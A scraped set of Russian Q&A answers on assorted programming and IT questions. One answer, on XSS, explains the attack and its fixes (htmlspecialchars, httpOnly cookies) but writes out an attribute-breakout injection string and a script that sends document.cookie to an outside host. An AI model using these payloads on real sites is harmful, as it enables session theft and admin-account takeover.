• Агрегация большого кол-ва записей из БД?

    Supme
    @Supme
    Просто системный администратор
    Так этож метрики. Influxdb, Prometeus, ClickHouse и тп
    Ответ написан
    Комментировать
  • Как работают видеоредакторы?

    vesper-bot
    @vesper-bot
    Любитель файрволлов
    Вкратце - это называется рендер. Он бывает 2D и 3D, при 2D примитивы двигаются напрямую по области экрана, при 3D рисуется трехмерная сцена. Для отрисовки 3D используется специальное ПО: Maya, 3DS Max, ещё несколько. Данные для сцен кодируются в специфических форматах, данные движения - отдельно, текстуры отдельно, материалы ("синий" - это какой? Блестящий или нет, шершавый или нет, если шершавый, то какой именно? Это всё свойства материала) отдельно. Потом ПО собирает всю информацию в сцену и запускает ray tracing или проверку каждого луча, идущего от зрителя в каждый пиксель (или субпиксель, т.е. несколько лучей на пиксель), куда он попал, куда отразился, куда был преломлен, куда в итоге улетел, и прочие эффекты вроде bump mapping'a, фонового освещения и ещё много чего, что может технически быть на сцене. Из этих пикселей собирается один кадр.

    Если разговор об игровом рендеринге, то подход меняется на отрисовку полигонов вместо трассировки лучей - трассировка чересчур затратная, а frame rate нужно держать на уровне. Спецэффекты, освещение, bump mapping и подобное реализуются шейдерами на GLSL/HLSL или чем-то более продвинутом, сцена кодируется в BSP или другом формате, специфическом для игрового движка (BSP - "дедушка" трехмерных сцен, использовался в Quake 1), объекты внутри сцены имеют свои структуры в том же формате, а для отрисовки используются OpenGL, Direct3D/DirectX и на нижнем уровне - всё те же C++.

    А если разговор о том, как потом собрать видеофайл, то собирается он из статичных картинок, как мультики, скажем, с использованием какого-либо видеокодека.
    Ответ написан
    5 комментариев
  • Что можно сделать со старым компьютером?

    CityCat4
    @CityCat4
    //COPY01 EXEC PGM=IEBGENER
    - Подымать в качестве гантели
    - Сидеть
    - Забивать гвозди
    - Использовать в качестве груза при квашении капусты
    - поставить Windows 2000 и ностальгически поигрывать в игры времен начала нулевых

    На что-либо хоть на копеечку серьезное он уже ну никак...
    Ответ написан
    5 комментариев
  • Как вывести результат последней команды в терминале linux?

    @Fixid Куратор тега Linux
    Штатно никак. Для таких случаев перенаправляйте вывод в файл
    Ответ написан
    Комментировать
  • Стоит ли переходить на С?

    ApeCoder
    @ApeCoder
    Если прет от низкоуровневой разработки - C самое оно. Сейчас есть новые языки типа Rust, которые тоже метят примерно в эту нишу, но большо всего кодовой базы наработанно именно на C, наверное. C++, в принципе, очень похож на C с объектной надстройкой, но не тождественен ему. Хотя грубо можно принять, что он включает в себя С.

    Еще в C# довольно много низкоуровневых штучек (см unsafe, stackalloc, указатели)

    Тру девелоперность понятие относительное. Вы можете знать наизусть все флаги процессора, но не знать как спроектировать объектную моель, например.
    Ответ написан
    Комментировать
  • Стоит ли переходить на С?

    @stratosmi
    в добавок к этому у меня устойчивое ощущение, что Си/С++ - языки для "тру девелоперов", и вообще писать на них очень круто.


    Пожалуй, да, так было лет 20 назад.
    Просто потому что альтернатив-то особо и не было.

    Сейчас "тру девелоперы" могут использовать как Go, так и Rust, так и С++, так и уже развитый C#, Java и т.п. и т.д.
    Ответ написан
    3 комментария
  • Зачем во избежание XSS нужно указывать на каждой странице кодировку, если злоумышленник все равно может изменить ее?

    @JunDevTest
    Контакты: thejundev@gmail.com | @juniordev
    XSS это эксплуатация уязвимостей в HTML, JS и других скриптах.

    3. Указывайте кодировку на каждой веб-странице.

    Кодировку нужно указывать, так как некоторые браузеры могут её неправильно определить и текстовой контент на сайте станет нечитаемым.

    В случае если тег расположен до тега и заполняется пользовательскими данными

    Нужно фильтровать пользовательские данные, в том числе, когда они встраиваются в HTML разметку.
    Например, вы разрешаете пользователям изменять фоновую картинку в своём профиле.
    У вас есть текстовое поле, в которое пользователь вводит ссылку на картинку. После этого вы подставляете картинку пользователя, например из базы данных в переменную $user_background.
    Таким образом, код на странице пользователя, выглядит как-то так:
    <body style="background: #282b31 url($user_background) 50% 0 repeat;">
    ...
    </body>

    Пользователь вставляет свою ссылку example.com/image.png и в коде страницы, это выглядит так:
    <body style="background: #282b31 url(http://example.com/image.png) 50% 0 repeat;">
    ...
    </body>

    Казалось-бы, что здесь не так. Если пользователь вставит сюда что-нибудь кроме картинки, то ничего не будет, по правилам CSS, зачем что-то фильтровать или... нет.
    Предположим, школохацкер вставит вместо картинки какой-нибудь тег:
    <script>alert('Мамку админа ипал!!111');</script>
    В таком случае, как правило, ничего не произойдёт, но может съехать вёрстка, что уже признак уязвимости. Дальше у нашего хакира бомбанёт пупкан и он попросит помощи у старшего брата из группировки Онанимусов. Добрый братик изменит эту строчку так, чтобы превратить её в активную XSS уязвимость ( правильно говорить "раскрутит" её ).
    На этом этапе строчка будет выглядеть как-то так:
    http://example.com/image.png') 50% 0 repeat;"><script>alert('Мамку админа ипал!!111');</script><input type="hidden" style="background: #282b31 url(

    Она не только радостно поприветствует алертом каждого, кто зайдёт на эту страницу, но ещё и установит картинку и не испортит вёрстку сайта, да ещё и к тому же не нарушит правил CSS. Итак, это и есть XSS уязвимость.
    Они к слову, бывают нескольких видов. Активные и пассивные.
    Чтобы расширить свой кругозор в области XSS, рекоммендую прочесть старый как помёт мамонта, мануал на форуме Antichat: forum.antichat.ru/threads/20140/ ( странно, ссылка вырезается, не уж то Ачат на Тостере под запретом? ).

    Что тут происходит?!
    Из-за отсутствия фильтрации текст из поля, сохраняется в БД в первоначальном виде. Как только он попадает на страницу, начинается самое интересное ^_^.
    Сначала код устанавливает картинку на фон, потом благополучно закрывает этот тег. После этого идёт "пейлоад", то есть JS код, например. С таким же успехом, можно запихнуть туда, например тег test или кучу ссылок на продажу виагры с анкорами, тем самым подняв некоторые показатели, например, индекс цитируемости (ТИЦ) для своих ссылок. После этого мы создаём новый тег input, делаем его скрытым и тем самым закрываем тег ( по стандартам html, этот элемент не нуждается в закрывающемся теге ). Уязвимость готова.

    Что ещё?
    Ну если вам этого недостаточно то можно "выипать админа" с помощью соц. инженерии и... той самой XSS. Для этого достаточно лишь поменять код JS на что-то вроде:
    <script>$.get('http://example.com/adminlox.php?sniffer=' + document.cookie);</script>

    и если у нубоадмина нет httponly у куков, то можно получить данные админа и войти под его аккаунтом или даже попасть в админку сайта. Дальше можно кое-что залить, но это уже совсем другая история... :3

    Как фиксить?
    Как минимум в этом конкретном случае, обернуть PHP переменную $user_background в
    htmlspecialchars($user_background, ENT_QUOTES, 'UTF-8');
    таким образом, код, показанный выше уже работать не будет. Дальше нужно установить httponly у сессионных Cookie (если ещё не стоит), для этого нужно заменить вашу конструкцию, на что-то вроде этого:
    header( "Set-Cookie: name=value; httpOnly" );
    или так
    setcookie('Foo','Bar',0,'/', 'www.sample.com'  , FALSE, TRUE);

    ну и вообще, перед тем как что-то писать, лучше прочтите хотя-бы одну книгу по PHP7.x, JS ec6, HTML5,CSS3. Я сам их не читал, поэтому это можете спросить здесь, новым вопросом. Здесь есть ребята, которые могут подсказать действительно годную и современную литературу.
    Удачи вам, в познании XSS.
    Ответ написан
    Комментировать
  • Как в C# сделать выборочное редактирование тхт UTF8 файла без полного считывания?

    freeExec
    @freeExec
    Участник OpenStreetMap
    Никак, в UTF динамический размер символа, поэтому вы не сможете спозиционироваться на нужный символ не прочитав предыдущие. Соответственно если будет не равнозначная замена по количеству байт, то вам в любом случае придётся раздвигать, а это потребует полного считывания файла. В общем, если этот ТХТ файл не гигабайтного размера я бы не стал заморачиваться, читал целиком, заменял и записывал обратно.
    Ответ написан
    4 комментария
  • Актуально ли изучать nodejs для бекенда или лучше оставаться на php?

    FanatPHP
    @FanatPHP
    Чебуратор тега РНР
    Изучать надо программирование.
    Все эти вопросы, "Какую машину лучше учиться водить - Рено или Фольксваген?" - это детский сад, честное слово.
    Если для вас потолок - это несколько десятков встроенных функций одного языка, то всё равно что учить - ковыряться помаленьку можно на любом.
    Программист же мыслит не инструкциями, а алгоритмами, паттернами, потоками данных, структурами объектов, шинами сообщений. На каком языке это все реализуется - не принципиально.
    Ответ написан
    2 комментария
  • Debian 9. Постоянно загружен процессор?

    vaut
    @vaut
    Ставлю что у вас не стоит правильный видеодрайвер.
    Видеокарта nvidia?
    Ответ написан
  • Как написать систему автоматизации ресторана на C#?

    borisdenis
    @borisdenis
    Ленив и вреден...
    Планшет - значит андроид, а значит пишем приложение на C# с использованием Xamarin которое общается с сервером по апи.
    Сервер - используем ASP.NET Web API с которым взаимодействуют приложения с планшета.
    Ответ написан
    1 комментарий
  • Нейросеть для распознавания речи/громкости звука?

    GavriKos
    @GavriKos
    Громкость - это обычная амплитуда сигнала. Извлекается из любого медиаформата или напрямую с микрофона чуть ли не как первичные данные - там даже никакой обработки не надо. Так и гуглите - "получение амплитуды с микрофона". Какая к черту нейросеть?
    Ответ написан
    2 комментария
  • Чем может быть обусловлен отказ интегратора внедрять конфигурацию 1С с PostgreSQL в пользу MS SQL?

    sim3x
    @sim3x
    Не умеют настраивать линукс и постгрес
    Имеют % с продаж продуктов МС
    Переживаете не зря
    Если у вас есть понимание зачем вам постгрес - вам нужно настоять на своем решении

    Ах да, их отказ может быть свзяан вообще с другими причинами - потому спрашивайте у них "почему"
    Ответ написан
  • Алгоритм нахождения синуса любого угла?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Смотря какая точность нужна. Есть формула Бхаскара, работающая на диапазоне от 0° до 180° (0-π):
    sin(x°) = 4·x·(180−x)/(40500−x·(180−x))
    sin(x) = 16·x·(π−x)/(5·π2−4·x·(π−x))
    На большей части диапазона она даёт точность в пределах 0.2%, на краях точность падает до 2%.
    Значения для углов вне этого диапазона можно получить из тождества:
    sin(2·π+x) = sin(x)
    sin(π+x) = -sin(x)
    Ответ написан
    2 комментария
  • Как обновлять каждую секунду значение в MySQL посредством PHP?

    Wolfnsex
    @Wolfnsex Куратор тега PHP
    Если не хочешь быть первым - не вставай в очередь!
    Как мне кажется из каменного века. Создать отдельное поле, в которое я сохраняю точное время инициации действия. В тот момент когда мне надо показать пользователю поле "account" я показываю account + ( (дата инициации дейтсивя обновления поля accoutn) - (дата отображения поля) )*(нужный параметр добавления)
    "Долбить" базу каждую секунду, без особой на то нужды, когда можно этого не делать - плохая идея. Данное решение описывает более рациональный подход, если он конечно возможен.

    Писать сторонний микросервис, который будет отправлять каждую секунду запросы в БД и увеличивать значение.
    Не знаю, что Вы подразумеваете под "сторонним микросервисом" и как это в конечном итоге должно работать (логически), например при нагрузке, запросы могут вставать в очередь и данные могут терять свою актуальность в этом (вашем) случае... Можете попробовать несколько вариантов:

    1. Попробовать использовать "родные" события MySQL

    2. Создать примитивный скрипт PHP, типа такого и запустить его (на бесконечное выполнение):
    <?php
    while(true) {
    mysql_query("..."); //Условно
    sleep(1);
    }
    но, он будет выполняться не 1 раз в секунду, а с паузой в 1 секунду

    3. Загадить крон заданиями, в кол-ве около 60 штук (т.к. крон задания запускаются минимум 1 раз в минуту), как это примерно должно выглядеть описано здесь, что в целом тоже не очень надёжно, т.к. высока вероятность, что рано или поздно, запросы могут отвалиться, приводя тем самым самым данные в неактуальное состояние.
    Ответ написан
    1 комментарий
  • Что означает Не Curlится сервер?

    ky0
    @ky0
    Миллиардер, филантроп, патологический лгун
    Это какой-то дурацкий сленг. Видимо, кто-то попытался отправить на сервер HTTP-запрос с помощью curl`а и у него не получилось.
    Ответ написан
    4 комментария
  • Что делает это в bash?

    @AVKor
    google://bash dirname и т.д.
    Ответ написан
    Комментировать
  • Как правильно начать изучение C#, ничего не зная в программировании?

    GavriKos
    @GavriKos
    Докучи - выучить синтаксис шарпа - это одно. Научится на нем программировать - другое. Научится ИСПОЛЬЗУЯ c# работать в Unity - совершенно третье. На каждой итерации сильно меняются задачи и нужен совсем другой объем знаний. Чтобы работать в юнити - надо помимо языка знать еще хотя бы алгоритмы, структуры данных, графику, архитектурные подходы.

    Поэтому совет - не учите c#. Учитесь программировать! Язык тут не важен.
    Ответ написан
    3 комментария